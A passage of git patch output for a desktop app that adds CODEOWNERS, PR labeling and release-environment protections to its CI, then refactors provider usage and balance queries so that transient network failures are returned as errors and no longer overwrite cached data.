workflows/labeler.yml, which are now tracked. Paired with a tag ruleset (created out-of-band) that restricts creation of v* tags to admins, this prevents a write collaborator from pushing a tag to trigger a signed release build. --- .github/CODEOWNERS | 14 +++++++ .github/labeler.yml | 74 +++++++++++++++++++++++++++++++++++ .github/workflows/labeler.yml | 17 ++++++++ .github/workflows/release.yml | 1 + .gitignore | 1 - 5 files changed, 106 insertions(+), 1 deletion(-) create mode 100644 .github/CODEOWNERS create mode 100644 .github/labeler.yml create mode 100644 .github/workflows/labeler.yml diff --git a/.github/CODEOWNERS b/.github/CODEOWNERS new file mode 100644 index 000000000..14198182c --- /dev/null +++ b/.github/CODEOWNERS @@ -0,0 +1,14 @@ +# Code owners for cc-switch +# +# Branch protection on `main` has "Require review from Code Owners" enabled. +# With this file present, a PR cannot merge to `main` without an approval from +# the owner below. This closes the gap where two collaborators could approve +# each other's malicious PRs (a single non-owner approval is no longer enough). + +# Global fallback: every PR needs owner approval before merging to main. +* @farion1231 + +# Most sensitive paths — CI/signing/release and the Rust backend. Listed +# explicitly so they stay locked even if the global rule above is relaxed later. +/.github/ @farion1231 +/src-tauri/ @farion1231 diff --git a/.github/labeler.yml b/.github/labeler.yml new file mode 100644 index 000000000..1e19b96b3 --- /dev/null +++ b/.github/labeler.yml @@ -0,0 +1,74 @@ +# Configuration for actions/labeler v5 +# Automatically labels PRs based on changed file paths + +frontend: + - changed-files: + - any-glob-to-any-file: + - "src/**" + - "index.html" + - "vite.config.ts" + - "vitest.config.ts" + - "tailwind.config.cjs" + - "postcss.config.cjs" + - "tsconfig.json" + - "tsconfig.node.json" + - "components.json" + - "tests/**" + +backend: + - changed-files: + - any-glob-to-any-file: + - "src-tauri/**" + +i18n: + - changed-files: + - any-glob-to-any-file: + - "src/locales/**" + +actions: + - changed-files: + - any-glob-to-any-file: + - ".github/**" + +dependencies: + - changed-files: + - any-glob-to-any-file: + - "package.json" + - "pnpm-lock.yaml" + - "pnpm-workspace.yaml" + - "src-tauri/Cargo.toml" + - "src-tauri/Cargo.lock" + +documentation: + - changed-files: + - any-glob-to-any-file: + - "*.md" + - "docs/**" + - "LICENSE" + +mcp: + - changed-files: + - any-glob-to-any-file: + - "src/components/mcp/**" + - "src/lib/api/mcp.ts" + - "src-tauri/src/mcp/**" + - "src-tauri/src/claude_mcp.rs" + - "src-tauri/src/gemini_mcp.rs" + - "src-tauri/src/commands/mcp.rs" + +skills: + - changed-files: + - any-glob-to-any-file: + - "src/components/skills/**" + - "src/lib/api/skills.ts" + - "src-tauri/src/commands/skill.rs" + - "src-tauri/src/services/skill.rs" + - "src-tauri/src/database/dao/skills.rs" + +proxy: + - changed-files: + - any-glob-to-any-file: + - "src/components/proxy/**" + - "src/lib/api/proxy.ts" + - "src-tauri/src/proxy/**" + - "src-tauri/src/commands/proxy.rs" diff --git a/.github/workflows/labeler.yml b/.github/workflows/labeler.yml new file mode 100644 index 000000000..b8c91803c --- /dev/null +++ b/.github/workflows/labeler.yml @@ -0,0 +1,17 @@ +name: Label PRs + +on: + pull_request_target: + types: [opened, synchronize, reopened] + +permissions: + contents: read + pull-requests: write + +jobs: + label: + runs-on: ubuntu-latest + steps: + - uses: actions/labeler@v5 + with: + sync-labels: true diff --git a/.github/workflows/release.yml b/.github/workflows/release.yml index 703fc5f34..dde229900 100644 --- a/.github/workflows/release.yml +++ b/.github/workflows/release.yml @@ -15,6 +15,7 @@ concurrency: jobs: release: runs-on: ${{ matrix.os }} + environment: release strategy: fail-fast: false matrix: diff --git a/.gitignore b/.gitignore index 49f529856..525d4a7b4 100644 --- a/.gitignore +++ b/.gitignore @@ -28,5 +28,4 @@ flatpak-repo/ copilot-api .history CODEBUDDY.md -.github mainWindow.js From 2df2212ceb0458eb2798b45ed9db0ee1c770bbf6 Mon Sep 17 00:00:00 2001 From: Jason Date: Tue, 7 Jul 2026 20:05:29 +0800 Subject: [PATCH 22/73] fix(usage): reject transient transport failures so retry and keep-last-good work Usage/quota queries frequently showed spurious "query failed" states that manual refresh could not clear (#3820). Root cause: all transport-level failures were folded into Ok(success:false), so react-query's retry never fired and the failure body poisoned the cache as regular data. Backend: - balance/coding_plan/subscription services now return Err for send failures and body-read failures (read body via bytes() before serde_json::from_slice; reqwest's json() wraps read errors as Decode, making error-kind checks on it dead code). Auth/4xx/parse errors stay Ok(success:false) and surface immediately. - Script path maps transient AppError keys (request_failed / read_response_failed) to Err; Volcengine adds a Transient call variant. - Command layer skips snapshot persistence, usage-cache-updated emit and tray refresh on Err so the cache bridge cannot overwrite retained data. - Expired-credential retry propagates transient errors instead of rewriting them as "OAuth token has expired". Frontend: - resolveDisplayUsage generalized to subscription quotas; 5th param is now an options object with a `rejected` flag: stale success data retained by react-query across rejections is re-anchored to dataUpdatedAt and expires through the same 10-minute keep-last-good window instead of being shown indefinitely (a total outage used to mask longer than a single 5xx). - useSubscriptionQuota / useCodexOauthQuota gain keep-last-good with per-scope snapshot reset; rejected queries with no displayable value synthesize a failure placeholder carrying the real error message so footers keep rendering a retry entry point. - HTTP 429 is classified transient (retry-later) alongside 5xx. - UsageScriptModal surfaces string rejections via extractErrorMessage. Tests: 6 backend behavior tests drive real HTTP against a local listener to pin the Err/Ok channel semantics; frontend suite extends keepLastGoodUsage coverage (405 passing). --- src-tauri/src/commands/codex_oauth.rs | 5 +- src-tauri/src/commands/provider.rs | 44 ++-- src-tauri/src/commands/subscription.rs | 43 ++-- src-tauri/src/services/balance.rs | 126 ++++++---- src-tauri/src/services/coding_plan.rs | 290 ++++++++++++++++++----- src-tauri/src/services/provider/usage.rs | 12 + src-tauri/src/services/subscription.rs | 148 ++++++------ src/components/UsageFooter.tsx | 13 +- src/components/UsageScriptModal.tsx | 5 +- src/lib/query/queries.ts | 114 ++++++--- src/lib/query/subscription.ts | 74 +++++- tests/lib/keepLastGoodUsage.test.ts | 118 ++++++++- 12 files changed, 724 insertions(+), 268 deletions(-) diff --git a/src-tauri/src/commands/codex_oauth.rs b/src-tauri/src/commands/codex_oauth.rs index eb1ceb663..6aa33b966 100644 --- a/src-tauri/src/commands/codex_oauth.rs +++ b/src-tauri/src/commands/codex_oauth.rs @@ -49,13 +49,14 @@ pub async fn get_codex_oauth_quota( } }; - Ok(query_codex_quota( + // 瞬时传输失败以 Err 传播(前端 reject → retry + 保留上次成功值)。 + query_codex_quota( &token, Some(&id), "codex_oauth", "Codex OAuth access token expired or rejected. Please re-login via cc-switch.", ) - .await) + .await } /// 获取 Codex OAuth (ChatGPT Plus/Pro) 可用模型列表 diff --git a/src-tauri/src/commands/provider.rs b/src-tauri/src/commands/provider.rs index 059fd814c..7a90e2e87 100644 --- a/src-tauri/src/commands/provider.rs +++ b/src-tauri/src/commands/provider.rs @@ -381,32 +381,30 @@ pub async fn queryProviderUsage( ) -> Result { let app_type = AppType::from_str(&app).map_err(|e| e.to_string())?; // inner 可能以两种形式失败: - // 1) 返回 Ok(UsageResult { success: false, .. }) —— 业务失败(401、脚本报错等) - // 2) 返回 Err(String) —— RPC/DB/Copilot fetch_usage 等 transport 层失败 - // 两种都要把"失败"写进 UsageCache 并刷新托盘,让 format_script_summary 的 - // success 守卫生效、suffix 自然消失,避免旧 success 快照长期滞留。 - // 同时保持原始 Err 返回给前端 React Query 的 onError 回调,不吞错误。 + // 1) 返回 Ok(UsageResult { success: false, .. }) —— 确定性失败(401、脚本 + // 报错、未知供应商等)。写进 UsageCache 并刷新托盘,让 + // format_script_summary 的 success 守卫生效、suffix 自然消失。 + // 2) 返回 Err(String) —— 瞬时传输失败(网络/超时)及 DB/Copilot fetch 等。 + // 不写失败快照、不 emit:保留上一份托盘快照,与前端 react-query reject + // 保留上次 data 的语义一致;否则失败快照会经 useUsageCacheBridge 盲写 + // 回 query 缓存,抹掉 reject 本该保留的旧值。 let inner = query_provider_usage_inner(&state, &copilot_state, app_type.clone(), &providerId).await; - let snapshot = match &inner { - Ok(r) => r.clone(), - Err(err_msg) => crate::provider::UsageResult { - success: false, - data: None, - error: Some(err_msg.clone()), - }, - }; - let payload = serde_json::json!({ - "kind": "script", - "appType": app_type.as_str(), - "providerId": &providerId, - "data": &snapshot, - }); - if let Err(e) = app_handle.emit("usage-cache-updated", payload) { - log::error!("emit usage-cache-updated (script) 失败: {e}"); + if let Ok(snapshot) = &inner { + let payload = serde_json::json!({ + "kind": "script", + "appType": app_type.as_str(), + "providerId": &providerId, + "data": snapshot, + }); + if let Err(e) = app_handle.emit("usage-cache-updated", payload) { + log::error!("emit usage-cache-updated (script) 失败: {e}"); + } + state + .usage_cache + .put_script(app_type, providerId, snapshot.clone()); + crate::tray::schedule_tray_refresh(&app_handle); } - state.usage_cache.put_script(app_type, providerId, snapshot); - crate::tray::schedule_tray_refresh(&app_handle); inner } diff --git a/src-tauri/src/commands/subscription.rs b/src-tauri/src/commands/subscription.rs index 053045b71..d258a8bd4 100644 --- a/src-tauri/src/commands/subscription.rs +++ b/src-tauri/src/commands/subscription.rs @@ -2,17 +2,19 @@ use std::str::FromStr; use tauri::{Emitter, State}; use crate::app_config::AppType; -use crate::services::subscription::{CredentialStatus, SubscriptionQuota}; +use crate::services::subscription::SubscriptionQuota; use crate::store::AppState; /// 查询官方订阅额度 /// /// 读取 CLI 工具已有的 OAuth 凭据并调用官方 API 获取使用额度。 -/// 结果(无论业务失败还是 transport 层 Err)都会写入 `UsageCache`、通知托盘 -/// 刷新,并 emit `usage-cache-updated`,让前端 React Query 与托盘共享同一份 -/// 最新数据。失败快照写入后 `format_subscription_summary` 会通过 `success=false` -/// 守卫返回 `None`,托盘 suffix 自然消失,避免长期滞留旧配额数字。 -/// Err 原样向前端返回,React Query 的 onError 不会被吞掉。 +/// `Ok`(成功或确定性失败)写入 `UsageCache`、通知托盘刷新并 emit +/// `usage-cache-updated`,让前端 React Query 与托盘共享同一份最新数据;失败 +/// 快照写入后 `format_subscription_summary` 会通过 `success=false` 守卫返回 +/// `None`,托盘 suffix 自然消失,避免长期滞留旧配额数字。 +/// `Err`(瞬时传输失败)不写快照、不 emit:保留上一份托盘快照,与前端 +/// react-query reject 保留上次 data 的语义一致(emit 失败快照会经 +/// `useUsageCacheBridge` 盲写回 query 缓存,抹掉本该保留的旧值)。 #[tauri::command] pub async fn get_subscription_quota( app: tauri::AppHandle, @@ -20,22 +22,21 @@ pub async fn get_subscription_quota( tool: String, ) -> Result { let inner = crate::services::subscription::get_subscription_quota(&tool).await; - let snapshot = match &inner { - Ok(q) => q.clone(), - // transport 层 Err —— 凭据状态不明,用 Valid 表达"凭据没问题,是通信/parse 出错"。 - Err(err_msg) => SubscriptionQuota::error(&tool, CredentialStatus::Valid, err_msg.clone()), - }; - if let Ok(app_type) = AppType::from_str(&tool) { - let payload = serde_json::json!({ - "kind": "subscription", - "appType": app_type.as_str(), - "data": &snapshot, - }); - if let Err(e) = app.emit("usage-cache-updated", payload) { - log::error!("emit usage-cache-updated (subscription) 失败: {e}"); + if let Ok(snapshot) = &inner { + if let Ok(app_type) = AppType::from_str(&tool) { + let payload = serde_json::json!({ + "kind": "subscription", + "appType": app_type.as_str(), + "data": snapshot, + }); + if let Err(e) = app.emit("usage-cache-updated", payload) { + log::error!("emit usage-cache-updated (subscription) 失败: {e}"); + } + state + .usage_cache + .put_subscription(app_type, snapshot.clone()); + crate::tray::schedule_tray_refresh(&app); } - state.usage_cache.put_subscription(app_type, snapshot); - crate::tray::schedule_tray_refresh(&app); } inner } diff --git a/src-tauri/src/services/balance.rs b/src-tauri/src/services/balance.rs index edeba3888..8639b1d98 100644 --- a/src-tauri/src/services/balance.rs +++ b/src-tauri/src/services/balance.rs @@ -2,6 +2,12 @@ //! //! 支持 DeepSeek、StepFun、SiliconFlow、OpenRouter、Novita AI 的账户余额查询。 //! 返回 UsageResult 格式,与现有用量系统无缝对接。 +//! +//! 错误通道语义(与 coding_plan / subscription 两个服务保持一致): +//! - `Err(String)` = 瞬时传输失败(网络不可达/超时/读体中断)。前端 invoke reject, +//! react-query 触发 retry 并保留上一次成功的 data(天然 keep-last-good)。 +//! - `Ok(success:false)` = 确定性失败(空 key/未知供应商/鉴权/非 2xx/响应体非法 JSON), +//! 立即透出错误文案。判定按 reqwest 错误种类在折叠点完成,不依赖错误文案匹配。 use crate::provider::{UsageData, UsageResult}; use std::time::Duration; @@ -65,7 +71,7 @@ fn make_auth_error(status: reqwest::StatusCode) -> UsageResult { // GET https://api.deepseek.com/user/balance // Response: { balance_infos: [{ currency, total_balance, granted_balance, topped_up_balance }], is_available } -async fn query_deepseek(api_key: &str) -> UsageResult { +async fn query_deepseek(api_key: &str) -> Result { let client = crate::proxy::http_client::get(); let resp = client @@ -78,21 +84,27 @@ async fn query_deepseek(api_key: &str) -> UsageResult { let resp = match resp { Ok(r) => r, - Err(e) => return make_error(format!("Network error: {e}")), + Err(e) => return Err(format!("Network error: {e}")), }; let status = resp.status(); if status == reqwest::StatusCode::UNAUTHORIZED || status == reqwest::StatusCode::FORBIDDEN { - return make_auth_error(status); + return Ok(make_auth_error(status)); } if !status.is_success() { let body = resp.text().await.unwrap_or_default(); - return make_error(format!("API error (HTTP {status}): {body}")); + return Ok(make_error(format!("API error (HTTP {status}): {body}"))); } - let body: serde_json::Value = match resp.json().await { + // 先 bytes() 再解析:读体失败(超时/连接中断)是瞬时 → Err;拿到完整响应体 + // 后解析失败才是确定性。reqwest 的 json() 把读体错误也包成 decode,无法区分。 + let raw = match resp.bytes().await { + Ok(b) => b, + Err(e) => return Err(format!("Failed to read response: {e}")), + }; + let body: serde_json::Value = match serde_json::from_slice(&raw) { Ok(v) => v, - Err(e) => return make_error(format!("Failed to parse response: {e}")), + Err(e) => return Ok(make_error(format!("Failed to parse response: {e}"))), }; let is_available = body @@ -126,18 +138,18 @@ async fn query_deepseek(api_key: &str) -> UsageResult { } } - UsageResult { + Ok(UsageResult { success: true, data: if data.is_empty() { None } else { Some(data) }, error: None, - } + }) } // ── StepFun ───────────────────────────────────────────────── // GET https://api.stepfun.com/v1/accounts // Response: { object, type, balance, total_cash_balance, total_voucher_balance } -async fn query_stepfun(api_key: &str) -> UsageResult { +async fn query_stepfun(api_key: &str) -> Result { let client = crate::proxy::http_client::get(); let resp = client @@ -150,26 +162,32 @@ async fn query_stepfun(api_key: &str) -> UsageResult { let resp = match resp { Ok(r) => r, - Err(e) => return make_error(format!("Network error: {e}")), + Err(e) => return Err(format!("Network error: {e}")), }; let status = resp.status(); if status == reqwest::StatusCode::UNAUTHORIZED || status == reqwest::StatusCode::FORBIDDEN { - return make_auth_error(status); + return Ok(make_auth_error(status)); } if !status.is_success() { let body = resp.text().await.unwrap_or_default(); - return make_error(format!("API error (HTTP {status}): {body}")); + return Ok(make_error(format!("API error (HTTP {status}): {body}"))); } - let body: serde_json::Value = match resp.json().await { + // 先 bytes() 再解析:读体失败(超时/连接中断)是瞬时 → Err;拿到完整响应体 + // 后解析失败才是确定性。reqwest 的 json() 把读体错误也包成 decode,无法区分。 + let raw = match resp.bytes().await { + Ok(b) => b, + Err(e) => return Err(format!("Failed to read response: {e}")), + }; + let body: serde_json::Value = match serde_json::from_slice(&raw) { Ok(v) => v, - Err(e) => return make_error(format!("Failed to parse response: {e}")), + Err(e) => return Ok(make_error(format!("Failed to parse response: {e}"))), }; let balance = parse_f64_field(&body, "balance").unwrap_or(0.0); - UsageResult { + Ok(UsageResult { success: true, data: Some(vec![UsageData { plan_name: Some("StepFun".to_string()), @@ -182,14 +200,14 @@ async fn query_stepfun(api_key: &str) -> UsageResult { extra: None, }]), error: None, - } + }) } // ── SiliconFlow ───────────────────────────────────────────── // GET https://api.siliconflow.cn/v1/user/info (or .com for EN) // Response: { code, data: { balance, chargeBalance, totalBalance, status } } -async fn query_siliconflow(api_key: &str, is_cn: bool) -> UsageResult { +async fn query_siliconflow(api_key: &str, is_cn: bool) -> Result { let client = crate::proxy::http_client::get(); let domain = if is_cn { @@ -209,26 +227,32 @@ async fn query_siliconflow(api_key: &str, is_cn: bool) -> UsageResult { let resp = match resp { Ok(r) => r, - Err(e) => return make_error(format!("Network error: {e}")), + Err(e) => return Err(format!("Network error: {e}")), }; let status = resp.status(); if status == reqwest::StatusCode::UNAUTHORIZED || status == reqwest::StatusCode::FORBIDDEN { - return make_auth_error(status); + return Ok(make_auth_error(status)); } if !status.is_success() { let body = resp.text().await.unwrap_or_default(); - return make_error(format!("API error (HTTP {status}): {body}")); + return Ok(make_error(format!("API error (HTTP {status}): {body}"))); } - let body: serde_json::Value = match resp.json().await { + // 先 bytes() 再解析:读体失败(超时/连接中断)是瞬时 → Err;拿到完整响应体 + // 后解析失败才是确定性。reqwest 的 json() 把读体错误也包成 decode,无法区分。 + let raw = match resp.bytes().await { + Ok(b) => b, + Err(e) => return Err(format!("Failed to read response: {e}")), + }; + let body: serde_json::Value = match serde_json::from_slice(&raw) { Ok(v) => v, - Err(e) => return make_error(format!("Failed to parse response: {e}")), + Err(e) => return Ok(make_error(format!("Failed to parse response: {e}"))), }; let data = match body.get("data") { Some(d) => d, - None => return make_error("Missing 'data' field in response".to_string()), + None => return Ok(make_error("Missing 'data' field in response".to_string())), }; let total_balance = parse_f64_field(data, "totalBalance").unwrap_or(0.0); @@ -240,7 +264,7 @@ async fn query_siliconflow(api_key: &str, is_cn: bool) -> UsageResult { "SiliconFlow (EN)" }; - UsageResult { + Ok(UsageResult { success: true, data: Some(vec![UsageData { plan_name: Some(plan_name.to_string()), @@ -253,14 +277,14 @@ async fn query_siliconflow(api_key: &str, is_cn: bool) -> UsageResult { extra: None, }]), error: None, - } + }) } // ── OpenRouter ────────────────────────────────────────────── // GET https://openrouter.ai/api/v1/credits // Response: { data: { total_credits, total_usage } } -async fn query_openrouter(api_key: &str) -> UsageResult { +async fn query_openrouter(api_key: &str) -> Result { let client = crate::proxy::http_client::get(); let resp = client @@ -273,21 +297,27 @@ async fn query_openrouter(api_key: &str) -> UsageResult { let resp = match resp { Ok(r) => r, - Err(e) => return make_error(format!("Network error: {e}")), + Err(e) => return Err(format!("Network error: {e}")), }; let status = resp.status(); if status == reqwest::StatusCode::UNAUTHORIZED || status == reqwest::StatusCode::FORBIDDEN { - return make_auth_error(status); + return Ok(make_auth_error(status)); } if !status.is_success() { let body = resp.text().await.unwrap_or_default(); - return make_error(format!("API error (HTTP {status}): {body}")); + return Ok(make_error(format!("API error (HTTP {status}): {body}"))); } - let body: serde_json::Value = match resp.json().await { + // 先 bytes() 再解析:读体失败(超时/连接中断)是瞬时 → Err;拿到完整响应体 + // 后解析失败才是确定性。reqwest 的 json() 把读体错误也包成 decode,无法区分。 + let raw = match resp.bytes().await { + Ok(b) => b, + Err(e) => return Err(format!("Failed to read response: {e}")), + }; + let body: serde_json::Value = match serde_json::from_slice(&raw) { Ok(v) => v, - Err(e) => return make_error(format!("Failed to parse response: {e}")), + Err(e) => return Ok(make_error(format!("Failed to parse response: {e}"))), }; let data = body.get("data").unwrap_or(&body); @@ -295,7 +325,7 @@ async fn query_openrouter(api_key: &str) -> UsageResult { let total_usage = parse_f64_field(data, "total_usage").unwrap_or(0.0); let remaining = total_credits - total_usage; - UsageResult { + Ok(UsageResult { success: true, data: Some(vec![UsageData { plan_name: Some("OpenRouter".to_string()), @@ -312,7 +342,7 @@ async fn query_openrouter(api_key: &str) -> UsageResult { extra: None, }]), error: None, - } + }) } // ── Novita AI ─────────────────────────────────────────────── @@ -320,7 +350,7 @@ async fn query_openrouter(api_key: &str) -> UsageResult { // Response: { availableBalance, cashBalance, creditLimit, outstandingInvoices } // 金额单位:0.0001 USD -async fn query_novita(api_key: &str) -> UsageResult { +async fn query_novita(api_key: &str) -> Result { let client = crate::proxy::http_client::get(); let resp = client @@ -333,27 +363,33 @@ async fn query_novita(api_key: &str) -> UsageResult { let resp = match resp { Ok(r) => r, - Err(e) => return make_error(format!("Network error: {e}")), + Err(e) => return Err(format!("Network error: {e}")), }; let status = resp.status(); if status == reqwest::StatusCode::UNAUTHORIZED || status == reqwest::StatusCode::FORBIDDEN { - return make_auth_error(status); + return Ok(make_auth_error(status)); } if !status.is_success() { let body = resp.text().await.unwrap_or_default(); - return make_error(format!("API error (HTTP {status}): {body}")); + return Ok(make_error(format!("API error (HTTP {status}): {body}"))); } - let body: serde_json::Value = match resp.json().await { + // 先 bytes() 再解析:读体失败(超时/连接中断)是瞬时 → Err;拿到完整响应体 + // 后解析失败才是确定性。reqwest 的 json() 把读体错误也包成 decode,无法区分。 + let raw = match resp.bytes().await { + Ok(b) => b, + Err(e) => return Err(format!("Failed to read response: {e}")), + }; + let body: serde_json::Value = match serde_json::from_slice(&raw) { Ok(v) => v, - Err(e) => return make_error(format!("Failed to parse response: {e}")), + Err(e) => return Ok(make_error(format!("Failed to parse response: {e}"))), }; // Novita 金额单位为 0.0001 USD,需除以 10000 转为 USD let available = parse_f64_field(&body, "availableBalance").unwrap_or(0.0) / 10000.0; - UsageResult { + Ok(UsageResult { success: true, data: Some(vec![UsageData { plan_name: Some("Novita AI".to_string()), @@ -370,7 +406,7 @@ async fn query_novita(api_key: &str) -> UsageResult { extra: None, }]), error: None, - } + }) } // ── 工具函数 ──────────────────────────────────────────────── @@ -385,6 +421,8 @@ fn parse_f64_field(obj: &serde_json::Value, field: &str) -> Option { // ── 公开入口 ──────────────────────────────────────────────── +/// 查询余额。瞬时传输失败返回 `Err`(前端 reject → retry + 保留上次成功值), +/// 确定性失败返回 `Ok(success:false)`(见模块级文档)。 pub async fn get_balance(base_url: &str, api_key: &str) -> Result { if api_key.trim().is_empty() { return Ok(UsageResult { @@ -405,14 +443,12 @@ pub async fn get_balance(base_url: &str, api_key: &str) -> Result query_deepseek(api_key).await, BalanceProvider::StepFun => query_stepfun(api_key).await, BalanceProvider::SiliconFlow => query_siliconflow(api_key, true).await, BalanceProvider::SiliconFlowEn => query_siliconflow(api_key, false).await, BalanceProvider::OpenRouter => query_openrouter(api_key).await, BalanceProvider::NovitaAI => query_novita(api_key).await, - }; - - Ok(result) + } } diff --git a/src-tauri/src/services/coding_plan.rs b/src-tauri/src/services/coding_plan.rs index 19098db67..172e2df69 100644 --- a/src-tauri/src/services/coding_plan.rs +++ b/src-tauri/src/services/coding_plan.rs @@ -99,7 +99,7 @@ fn make_error(msg: String) -> SubscriptionQuota { // ── Kimi For Coding ───────────────────────────────────────── -async fn query_kimi(api_key: &str) -> SubscriptionQuota { +async fn query_kimi(api_key: &str) -> Result { let client = crate::proxy::http_client::get(); let resp = client @@ -112,12 +112,12 @@ async fn query_kimi(api_key: &str) -> SubscriptionQuota { let resp = match resp { Ok(r) => r, - Err(e) => return make_error(format!("Network error: {e}")), + Err(e) => return Err(format!("Network error: {e}")), }; let status = resp.status(); if status == reqwest::StatusCode::UNAUTHORIZED || status == reqwest::StatusCode::FORBIDDEN { - return SubscriptionQuota { + return Ok(SubscriptionQuota { tool: "coding_plan".to_string(), credential_status: CredentialStatus::Expired, credential_message: Some("Invalid API key".to_string()), @@ -126,17 +126,23 @@ async fn query_kimi(api_key: &str) -> SubscriptionQuota { extra_usage: None, error: Some(format!("Authentication failed (HTTP {status})")), queried_at: Some(now_millis()), - }; + }); } if !status.is_success() { let body = resp.text().await.unwrap_or_default(); - return make_error(format!("API error (HTTP {status}): {body}")); + return Ok(make_error(format!("API error (HTTP {status}): {body}"))); } - let body: serde_json::Value = match resp.json().await { + // 先 bytes() 再解析:读体失败(超时/连接中断)是瞬时 → Err;拿到完整响应体 + // 后解析失败才是确定性。reqwest 的 json() 把读体错误也包成 decode,无法区分。 + let raw = match resp.bytes().await { + Ok(b) => b, + Err(e) => return Err(format!("Failed to read response: {e}")), + }; + let body: serde_json::Value = match serde_json::from_slice(&raw) { Ok(v) => v, - Err(e) => return make_error(format!("Failed to parse response: {e}")), + Err(e) => return Ok(make_error(format!("Failed to parse response: {e}"))), }; let mut tiers = Vec::new(); @@ -187,7 +193,7 @@ async fn query_kimi(api_key: &str) -> SubscriptionQuota { }); } - SubscriptionQuota { + Ok(SubscriptionQuota { tool: "coding_plan".to_string(), credential_status: CredentialStatus::Valid, credential_message: None, @@ -196,7 +202,7 @@ async fn query_kimi(api_key: &str) -> SubscriptionQuota { extra_usage: None, error: None, queried_at: Some(now_millis()), - } + }) } // ── 智谱 GLM ──────────────────────────────────────────────── @@ -307,7 +313,7 @@ fn zhipu_quota_base(base_url: &str) -> &'static str { } } -async fn query_zhipu(base_url: &str, api_key: &str) -> SubscriptionQuota { +async fn query_zhipu(base_url: &str, api_key: &str) -> Result { let client = crate::proxy::http_client::get(); let url = format!( "{}/api/monitor/usage/quota/limit", @@ -325,12 +331,12 @@ async fn query_zhipu(base_url: &str, api_key: &str) -> SubscriptionQuota { let resp = match resp { Ok(r) => r, - Err(e) => return make_error(format!("Network error: {e}")), + Err(e) => return Err(format!("Network error: {e}")), }; let status = resp.status(); if status == reqwest::StatusCode::UNAUTHORIZED || status == reqwest::StatusCode::FORBIDDEN { - return SubscriptionQuota { + return Ok(SubscriptionQuota { tool: "coding_plan".to_string(), credential_status: CredentialStatus::Expired, credential_message: Some("Invalid API key".to_string()), @@ -339,17 +345,23 @@ async fn query_zhipu(base_url: &str, api_key: &str) -> SubscriptionQuota { extra_usage: None, error: Some(format!("Authentication failed (HTTP {status})")), queried_at: Some(now_millis()), - }; + }); } if !status.is_success() { let body = resp.text().await.unwrap_or_default(); - return make_error(format!("API error (HTTP {status}): {body}")); + return Ok(make_error(format!("API error (HTTP {status}): {body}"))); } - let body: serde_json::Value = match resp.json().await { + // 先 bytes() 再解析:读体失败(超时/连接中断)是瞬时 → Err;拿到完整响应体 + // 后解析失败才是确定性。reqwest 的 json() 把读体错误也包成 decode,无法区分。 + let raw = match resp.bytes().await { + Ok(b) => b, + Err(e) => return Err(format!("Failed to read response: {e}")), + }; + let body: serde_json::Value = match serde_json::from_slice(&raw) { Ok(v) => v, - Err(e) => return make_error(format!("Failed to parse response: {e}")), + Err(e) => return Ok(make_error(format!("Failed to parse response: {e}"))), }; // 检查业务级别错误 @@ -358,12 +370,12 @@ async fn query_zhipu(base_url: &str, api_key: &str) -> SubscriptionQuota { .get("msg") .and_then(|v| v.as_str()) .unwrap_or("Unknown error"); - return make_error(format!("API error: {msg}")); + return Ok(make_error(format!("API error: {msg}"))); } let data = match body.get("data") { Some(d) => d, - None => return make_error("Missing 'data' field in response".to_string()), + None => return Ok(make_error("Missing 'data' field in response".to_string())), }; let tiers = parse_zhipu_token_tiers(data); @@ -374,7 +386,7 @@ async fn query_zhipu(base_url: &str, api_key: &str) -> SubscriptionQuota { .and_then(|v| v.as_str()) .map(|s| s.to_string()); - SubscriptionQuota { + Ok(SubscriptionQuota { tool: "coding_plan".to_string(), credential_status: CredentialStatus::Valid, credential_message: level, @@ -383,12 +395,12 @@ async fn query_zhipu(base_url: &str, api_key: &str) -> SubscriptionQuota { extra_usage: None, error: None, queried_at: Some(now_millis()), - } + }) } // ── MiniMax ───────────────────────────────────────────────── -async fn query_minimax(api_key: &str, is_cn: bool) -> SubscriptionQuota { +async fn query_minimax(api_key: &str, is_cn: bool) -> Result { let client = crate::proxy::http_client::get(); let api_domain = if is_cn { @@ -408,12 +420,12 @@ async fn query_minimax(api_key: &str, is_cn: bool) -> SubscriptionQuota { let resp = match resp { Ok(r) => r, - Err(e) => return make_error(format!("Network error: {e}")), + Err(e) => return Err(format!("Network error: {e}")), }; let status = resp.status(); if status == reqwest::StatusCode::UNAUTHORIZED || status == reqwest::StatusCode::FORBIDDEN { - return SubscriptionQuota { + return Ok(SubscriptionQuota { tool: "coding_plan".to_string(), credential_status: CredentialStatus::Expired, credential_message: Some("Invalid API key".to_string()), @@ -422,17 +434,23 @@ async fn query_minimax(api_key: &str, is_cn: bool) -> SubscriptionQuota { extra_usage: None, error: Some(format!("Authentication failed (HTTP {status})")), queried_at: Some(now_millis()), - }; + }); } if !status.is_success() { let body = resp.text().await.unwrap_or_default(); - return make_error(format!("API error (HTTP {status}): {body}")); + return Ok(make_error(format!("API error (HTTP {status}): {body}"))); } - let body: serde_json::Value = match resp.json().await { + // 先 bytes() 再解析:读体失败(超时/连接中断)是瞬时 → Err;拿到完整响应体 + // 后解析失败才是确定性。reqwest 的 json() 把读体错误也包成 decode,无法区分。 + let raw = match resp.bytes().await { + Ok(b) => b, + Err(e) => return Err(format!("Failed to read response: {e}")), + }; + let body: serde_json::Value = match serde_json::from_slice(&raw) { Ok(v) => v, - Err(e) => return make_error(format!("Failed to parse response: {e}")), + Err(e) => return Ok(make_error(format!("Failed to parse response: {e}"))), }; // 检查业务级别错误 @@ -446,14 +464,14 @@ async fn query_minimax(api_key: &str, is_cn: bool) -> SubscriptionQuota { .get("status_msg") .and_then(|v| v.as_str()) .unwrap_or("Unknown error"); - return make_error(format!("API error (code {status_code}): {msg}")); + return Ok(make_error(format!("API error (code {status_code}): {msg}"))); } } // 提取纯函数便于无 mock 单元测试;新接口直接给"剩余百分比",反转为已用百分比 let tiers = parse_minimax_tiers(&body); - SubscriptionQuota { + Ok(SubscriptionQuota { tool: "coding_plan".to_string(), credential_status: CredentialStatus::Valid, credential_message: None, @@ -462,12 +480,12 @@ async fn query_minimax(api_key: &str, is_cn: bool) -> SubscriptionQuota { extra_usage: None, error: None, queried_at: Some(now_millis()), - } + }) } // ── ZenMux ────────────────────────────────────────────────── -async fn query_zenmux(base_url: &str, api_key: &str) -> SubscriptionQuota { +async fn query_zenmux(base_url: &str, api_key: &str) -> Result { let client = crate::proxy::http_client::get(); let resp = client @@ -480,12 +498,12 @@ async fn query_zenmux(base_url: &str, api_key: &str) -> SubscriptionQuota { let resp = match resp { Ok(r) => r, - Err(e) => return make_error(format!("Network error: {e}")), + Err(e) => return Err(format!("Network error: {e}")), }; let status = resp.status(); if status == 